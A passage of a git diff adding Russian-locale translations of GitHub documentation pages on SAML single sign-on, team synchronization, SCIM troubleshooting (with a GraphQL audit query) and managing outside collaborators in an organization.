помощью единого входа SAML. +redirect_from: + - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on + - /articles/managing-saml-single-sign-on-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/managing-saml-single-sign-on-for-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +children: + - /about-identity-and-access-management-with-saml-single-sign-on + - /about-scim-for-organizations + - /connecting-your-identity-provider-to-your-organization + - /configuring-saml-single-sign-on-and-scim-using-okta + - /enabling-and-testing-saml-single-sign-on-for-your-organization + - /preparing-to-enforce-saml-single-sign-on-in-your-organization + - /enforcing-saml-single-sign-on-for-your-organization + - /downloading-your-organizations-saml-single-sign-on-recovery-codes + - /managing-team-synchronization-for-your-organization + - /accessing-your-organization-if-your-identity-provider-is-unavailable + - /troubleshooting-identity-and-access-management-for-your-organization +shortTitle: Manage SAML single sign-on +ms.openlocfilehash: fbceb30af76af31bc3b0ae1361da7c8766971563 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147093130' +--- +{% data reusables.saml.ghec-only %} diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md new file mode 100644 index 000000000000..ad484bc2da00 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md @@ -0,0 +1,102 @@ +--- +title: Managing team synchronization for your organization +intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.' +redirect_from: + - /articles/synchronizing-teams-between-your-identity-provider-and-github + - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github + - /github/articles/synchronizing-teams-between-okta-and-github + - /github/setting-up-and-managing-organizations-and-teams/managing-team-synchronization-for-your-organization +permissions: Organization owners can manage team synchronization for an organization. +miniTocMaxHeadingLevel: 3 +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage team synchronization +--- + +{% data reusables.enterprise-accounts.emu-scim-note %} + +## About team synchronization + +You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. + +{% data reusables.identity-and-permissions.about-team-sync %} + +{% data reusables.saml.ghec-only %} + +{% data reusables.identity-and-permissions.supported-idps-team-sync %} + +{% data reusables.identity-and-permissions.sync-team-with-idp-group %} + +You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." + +{% data reusables.enterprise-accounts.team-sync-override %} + +{% data reusables.identity-and-permissions.team-sync-usage-limits %} + +## Enabling team synchronization + +The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. + +### Prerequisites + +{% data reusables.identity-and-permissions.team-sync-required-permissions %} + +You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." + +You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." + +Your SAML settings **must** contain a valid IdP URL for the **Issuer** field. + +![SAML Issuer field](/assets/images/help/saml/saml_issuer.png) + + + +### Enabling team synchronization for Azure AD + +{% data reusables.identity-and-permissions.team-sync-azure-permissions %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.enable-team-sync-azure %} +{% data reusables.identity-and-permissions.team-sync-confirm %} +6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) + +### Enabling team synchronization for Okta + +Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. + +To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. + +If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to re-provision them. + +For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization)." + +{% data reusables.identity-and-permissions.team-sync-okta-requirements %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.team-sync-confirm-scim %} +1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." +{% data reusables.identity-and-permissions.enable-team-sync-okta %} +7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance. + ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Create**. + ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png) + +## Disabling team synchronization + +{% data reusables.identity-and-permissions.team-sync-disable %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +5. Under "Team synchronization", click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md new file mode 100644 index 000000000000..b7d600086c34 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md @@ -0,0 +1,32 @@ +--- +title: Подготовка к принудительному применению единого входа SAML в организации +intro: Перед применением единого входа SAML в организации необходимо проверить членство в организации и настроить параметры подключения к поставщику удостоверений. +redirect_from: + - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Prepare to enforce SAML SSO +ms.openlocfilehash: 6457b44f5a5debd005b8878b2f31f81c4341ab15 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125608' +--- +{% data reusables.saml.ghec-only %} + +{% data reusables.saml.when-you-enforce %} Перед принудительным применением единого входа SAML в организации необходимо проверить членство в организации, включить единый вход SAML и проверить доступ участников организации к SAML. Дополнительные сведения см. в следующих разделах. + +| Задача | Дополнительные сведения | +| :- | :- | +| Добавление или удаление участников из организации | <ul><li>[Отправка пользователям приглашений присоединиться к вашей организации](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)</li><li>[Удаление участника из организации](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)</li></ul> | +| Подключение поставщика удостоверений к организации путем включения единого входа SAML | <ul><li>[Подключение поставщика идентификаторов к вашей организации](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)</li><li>[Включение и тестирование единого входа SAML для вашей организации](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)</li></ul> | +| Убедитесь, что члены вашей организации вошли в систему и связали свои учетные записи с поставщиком удостоверений | <ul><li>[Просмотр доступа SAML участника к вашей организации и управление им](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)</li></ul> | + +Завершив эти задачи, вы сможете принудительно применить единый вход SAML для вашей организации. Дополнительные сведения см. в разделе [Принудительное применение единого входа SAML для организации](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). + +{% data reusables.saml.outside-collaborators-exemption %} diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md new file mode 100644 index 000000000000..90c771b5da65 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md @@ -0,0 +1,104 @@ +--- +title: Устранение неполадок с управлением удостоверениями и доступом для вашей организации +intro: 'Просмотрите и разрешите распространенные ошибки по устранению неполадок с управлением единым входом SAML вашей организации, синхронизацией команд или подключением поставщика удостоверений (IdP).' +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Troubleshooting access +redirect_from: + - /organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management +ms.openlocfilehash: d3110d61fb511f55aa840d0911c036dd342fa833 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106976' +--- +{% data reusables.saml.current-time-earlier-than-notbefore-condition %} + +{% data reusables.saml.authentication-loop %} + +## Некоторые пользователи не подготовлены или их подготовка отменена системой SCIM + +При возникновении проблем с подготовкой пользователей рекомендуется проверить наличие метаданных SCIM. + +{% data reusables.scim.changes-should-come-from-idp %} + +Если у участника организации отсутствуют метаданные SCIM, можно вручную повторно подготовить SCIM для пользователя с помощью поставщика удостоверений. + +### Аудит пользователей для отсутствия метаданных SCIM + +Если вы подозреваете или заметили, что какие-то пользователи не подготовлены или их подготовка не отменена должным образом, рекомендуется провести аудит всех пользователей в вашей организации. + +Чтобы проверить, есть ли у пользователей удостоверение SCIM (метаданные SCIM) во внешнем удостоверении, можно просмотреть метаданные SCIM для одного члена организации за раз {% data variables.product.prodname_dotcom %} или программно проверить всех участников организации с помощью API {% data variables.product.prodname_dotcom %}. + +#### Аудит участников организации в {% data variables.product.prodname_dotcom %} + +Чтобы подтвердить, что метаданные SCIM существуют для одного участника организации, владельцу организации необходимо перейти на этот URL-адрес и заменить `<organization>` и `<username>`: + +> `https://github.com/orgs/<organization>/people/<username>/sso` + +Если внешнее удостоверение пользователя содержит метаданные SCIM, владелец организации увидит на этой странице раздел удостоверений SCIM. Если внешнее удостоверение не содержит метаданные SCIM, раздел "Удостоверение SCIM" не будет существовать. + +#### Аудит участников организации посредством API {% data variables.product.prodname_dotcom %} + +Как владелец организации, вы также можете запросить REST API SCIM или GraphQL, чтобы получить список всех подготовленных удостоверений SCIM в организации. + +#### Использование REST API + +REST API SCIM будет возвращать данные только для пользователей с метаданными SCIM, заполненными в разделе их внешних удостоверений. Рекомендуется сравнить список подготовленных удостоверений SCIM со списком всех участников организации. + +Дополнительные сведения см. в разделе: + - [Список подготовленных удостоверений SCIM](/rest/reference/scim#list-scim-provisioned-identities) + - [Список участников организации](/rest/reference/orgs#list-organization-members) + +#### Использование GraphQL + +В этом запросе GraphQL показаны SAML `NameId`, SCIM `UserName` и имя пользователя {% data variables.product.prodname_dotcom %} (`login`) для каждого пользователя в организации. Чтобы использовать этот запрос, замените `ORG` на название своей организации. + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer YOUR_TOKEN" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +Дополнительные сведения об использовании API GraphQL см. в разделе: + - [Инструкции по GraphQL](/graphql/guides) + - [GraphQL Explorer](/graphql/overview/explorer) + +### Повторная подготовка SCIM для пользователей с помощью поставщика удостоверений + +ScIM можно вручную повторно подготовить для пользователей с помощью поставщика удостоверений. Например, чтобы устранить ошибки подготовки для Okta, на портале администрирования Okta можно отменить назначение и переназначить пользователей приложению {% data variables.product.prodname_dotcom %}. При этом должен активироваться Okta, чтобы выполнить вызов API для заполнения метаданных SCIM для этих пользователей в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Отмена назначения пользователей из приложений](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm) или [Назначение пользователей приложениям](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm) в документации Okta. + +Чтобы убедиться, что удостоверение SCIM пользователя создано, рекомендуется протестировать этот процесс с одним участником организации, для которого подтверждено отсутствие внешнего удостоверения SCIM. После обновления пользователей в IdP вручную можно проверить, создано ли удостоверение SCIM пользователя с помощью API SCIM или с помощью {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Аудит пользователей для отсутствия метаданных SCIM](#auditing-users-for-missing-scim-metadata) или конечную точку REST API [Получение сведений о подготовке SCIM для пользователя](/rest/reference/scim#get-scim-provisioning-information-for-a-user). + +Если повторная подготовка SCIM для пользователей не решает проблему, обратитесь в службу поддержки {% data variables.product.prodname_dotcom %}. + +## Дополнительные сведения + +- [Устранение неполадок с управлением удостоверениями и доступом для организации](/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise) diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md new file mode 100644 index 000000000000..2d18b5b055d6 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md @@ -0,0 +1,53 @@ +--- +title: Adding outside collaborators to repositories in your organization +intro: You can allow people who aren't members of your organization to access repositories that your organization owns. +redirect_from: + - /articles/adding-outside-collaborators-to-repositories-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/adding-outside-collaborators-to-repositories-in-your-organization + - /organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add outside collaborator +permissions: People with admin access to a repository can add an outside collaborator to the repository. +--- + +## About outside collaborators + +An outside collaborator is a person who is not a member of your organization, but has access to one or more of your organization's repositories. You can choose the level of access to grant for each outside collaborator. {% data reusables.organizations.outside_collaborator_forks %} + +{% data reusables.organizations.outside-collaborators-use-seats %} + +{% ifversion fpt %} +Organizations that use {% data variables.product.prodname_ghe_cloud %} can restrict the ability to invite collaborators. For more information, see "[Setting permissions for adding outside collaborators](/enterprise-cloud@latest/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +{% else %} +An organization owner can restrict the ability to invite collaborators. For more information, see "[Setting permissions for adding outside collaborators](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)." +{% endif %} + +{% ifversion ghes %} +Before you can add someone as an outside collaborator on a repository, the person must have a personal account on {% data variables.location.product_location %}. If your enterprise uses an external authentication system such as SAML or LDAP, the person you want to add must sign in through that system to create an account. If the person does not have access to the authentication system and built-in authentication is enabled for your enterprise, a site administrator can create an account for the person. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)." +{% endif %} + +{% ifversion not ghae %} +If your organization requires two-factor authentication, all outside collaborators must enable two-factor authentication before accepting your invitation to collaborate on a repository. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)." +{% endif %} + +## Adding outside collaborators to a repository + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can give outside collaborators access to a repository in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person)." +{% else %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +5. In the left sidebar, click **Collaborators & teams**. + ![Repository settings sidebar with Collaborators & teams highlighted](/assets/images/help/repository/org-repo-settings-collaborators-and-teams.png) +6. Under "Collaborators", type the name of the person you'd like to give access to the repository, then click **Add collaborator**. +![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/repository/org-repo-collaborators-find-name.png) +7. Next to the new collaborator's name, use the drop-down menu and select the appropriate access level. +![The repository permissions picker](/assets/images/help/repository/org-repo-collaborators-choose-permissions.png) +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md new file mode 100644 index 000000000000..a21f9cae207b --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md @@ -0,0 +1,32 @@ +--- +title: Отмена приглашения на роль стороннего участника совместной работы в вашей организации +intro: 'Вы можете отменить все приглашения, чтобы пользователь стал сторонним сотрудником в репозиториях, принадлежащих вашей организации.' +permissions: Organization owners can cancel an invitation to become an outside collaborator in the organization. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization + - /organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Cancel collaborator invitation +ms.openlocfilehash: ee20bab6771975eb69810cd1b1527ea489020915 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148099076' +--- +Вы можете просмотреть список всех пользователей с ожидающими обработки приглашениями на роль стороннего участника совместной работы в любом репозитории, принадлежащем вашей организации. + +Можно отменить все приглашения на подключение к репозиториям организации одновременно для всех ожидающих утверждения участников совместной работы. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people_tab_outside_collaborators %} +5. Щелкните **X ожидающих утверждения участников совместной работы**. + ![Кнопка "Ожидающие утверждения участники совместной работы"](/assets/images/help/organizations/pending-collaborator-list.png) +6. Справа от пользователя, для которого вы хотите отменить приглашения, нажмите кнопку **Отменить приглашения**. + ![Кнопка "Отменить приглашение"](/assets/images/help/organizations/cancel-pending-collaborators.png) +7. Нажмите кнопку **Отменить приглашения для ожидающих утверждения участников совместной работы**. + ![Кнопка для подтверждения отмены](/assets/images/help/organizations/confirm-cancelation-of-pending-collaborators.png) diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md new file mode 100644 index 000000000000..b360a2442feb --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md @@ -0,0 +1,63 @@ +--- +title: Converting an organization member to an outside collaborator +intro: 'If a current member of your organization only needs access to certain repositories, such as consultants or temporary employees, you can convert them to an outside collaborator.' +permissions: Organization owners can convert an organization member to an outside collaborator. +redirect_from: + - /articles/converting-an-organization-member-to-an-outside-collaborator + - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-member-to-an-outside-collaborator + - /organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Convert member to collaborator +--- + +## About conversion of organization members to outside collaborators + +You can convert a member of an organization to an outside collaborator. For more information about outside collaborators, see "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)." + +{% ifversion fpt or ghec %}If the organization is owned by an enterprise, converting{% elsif ghes or ghae %}Converting{% endif %} an organization member to an outside collaborator may be restricted. For more information, see "[Enforcing repository management policies in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-{% ifversion fpt or ghec %}outside-{% endif %}collaborators-to-repositories){% ifversion ghec or ghes or ghae %}."{% elsif fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} + +{% data reusables.organizations.outside-collaborators-use-seats %} {% data reusables.organizations.outside_collaborator_forks %} + +After converting an organization member to an outside collaborator, they'll only have access to the repositories that their current team membership allows. The person will no longer be an explicit member of the organization, and will no longer be able to: + +- Create teams +- See all organization members and teams +- @mention any visible team +- Be a team maintainer + +For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +We recommend reviewing the organization member's access to repositories to ensure their access is as you expect. For more information, see "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)." + +When you convert an organization member to an outside collaborator, their privileges as organization members are saved for three months so that you can restore their membership privileges if you{% ifversion fpt or ghec %} invite them to rejoin{% else %} add them back to{% endif %} your organization within that time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." + +## Converting an organization member to an outside collaborator + +{% note %} + +**Note:** You may not be able to convert an organization member to an outside collaborator, if an organization owner{% ifversion not fpt %} or enterprise owner{% endif %} has restricted your ability to add outside collaborators. + +{% endnote %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +4. Select the person or people you'd like to convert to outside collaborators. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu and click **Convert to outside collaborator**. + ![Drop-down menu with option to convert members to outside collaborators](/assets/images/help/teams/user-bulk-management-options.png) +6. Read the information about converting members to outside collaborators, then click **Convert to outside collaborator**. + ![Information on outside collaborators permissions and Convert to outside collaborators button](/assets/images/help/teams/confirm-outside-collaborator-bulk.png) + +## Further reading + +- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)" +- "[Converting an outside collaborator to an organization member](/articles/converting-an-outside-collaborator-to-an-organization-member)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md new file mode 100644 index 000000000000..a0300fa5a06f --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md @@ -0,0 +1,43 @@ +--- +title: Converting an outside collaborator to an organization member +intro: 'If you would like to give an outside collaborator on your organization''s repositories broader permissions within your organization, you can {% ifversion fpt or ghec %}invite them to become a member of{% else %}make them a member of{% endif %} the organization.' +redirect_from: + - /articles/converting-an-outside-collaborator-to-an-organization-member + - /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member + - /organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: 'Organization owners can {% ifversion fpt or ghec %}invite users to join{% else %}add users to{% endif %} an organization.' +topics: + - Organizations + - Teams +shortTitle: Convert collaborator to member +--- +{% ifversion fpt or ghec %} +If your organization is on a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-expiration %}{% endif %} + +{% ifversion not ghae %} +If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users {% ifversion fpt or ghec %}you invite must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before they can accept the invitation.{% else %}must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.{% endif %} +{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.people %} +{% data reusables.organizations.people_tab_outside_collaborators %} +{% ifversion fpt or ghec %} +5. To the right of the name of the outside collaborator you want to become a member, use the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png) +{% else %} +5. To the right of the name of the outside collaborator you want to become a member, click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png) +{% endif %} +{% data reusables.organizations.choose-to-restore-privileges %} +{% data reusables.organizations.choose-user-role-send-invitation %} +{% ifversion fpt or ghec %} +{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} +{% endif %} + +## Further reading + +- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)" diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/index.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/index.md new file mode 100644 index 000000000000..028531368e1e --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/index.md @@ -0,0 +1,38 @@ +--- +title: Управление доступом пользователей к репозиториям организации +intro: Владельцы организации могут управлять доступом отдельных пользователей и команд к репозиториям организации. Ответственные за команды также могут управлять доступом к репозиторию команды. +redirect_from: + - /articles/permission-levels-for-an-organization-repository + - /articles/managing-access-to-your-organization-s-repositories + - /articles/managing-access-to-your-organizations-repositories + - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-repositories + - /organizations/managing-access-to-your-organizations-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /repository-roles-for-an-organization + - /setting-base-permissions-for-an-organization + - /viewing-people-with-access-to-your-repository + - /managing-an-individuals-access-to-an-organization-repository + - /managing-team-access-to-an-organization-repository + - /adding-outside-collaborators-to-repositories-in-your-organization + - /canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization + - /removing-an-outside-collaborator-from-an-organization-repository + - /converting-an-organization-member-to-an-outside-collaborator + - /converting-an-outside-collaborator-to-an-organization-member + - /reinstating-a-former-outside-collaborators-access-to-your-organization +shortTitle: Manage user access to repos +ms.openlocfilehash: 1bed362730486a653eddd330ec3ee7f15de19078 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148099068' +--- + diff --git a/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md new file mode 100644 index 000000000000..dadefa9d9b7f --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md @@ -0,0 +1,59 @@ +--- +title: Managing an individual's access to an organization repository +intro: You can manage a person's access to a repository owned by your organization. +redirect_from: + - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program + - /articles/managing-an-individual-s-access-to-an-organization-repository + - /articles/managing-an-individuals-access-to-an-organization-repository + - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-repository + - /organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Manage individual access +permissions: People with admin access to a repository can manage access to the repository. +--- + +## About access to organization repositories + +When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository. + +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +## Managing an individual's access to an organization repository +You can give a person access to a repository or change a person's level of access to a repository in your repository settings. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)." +{% else %} +## Giving a person access to a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-manage-access %} +{% 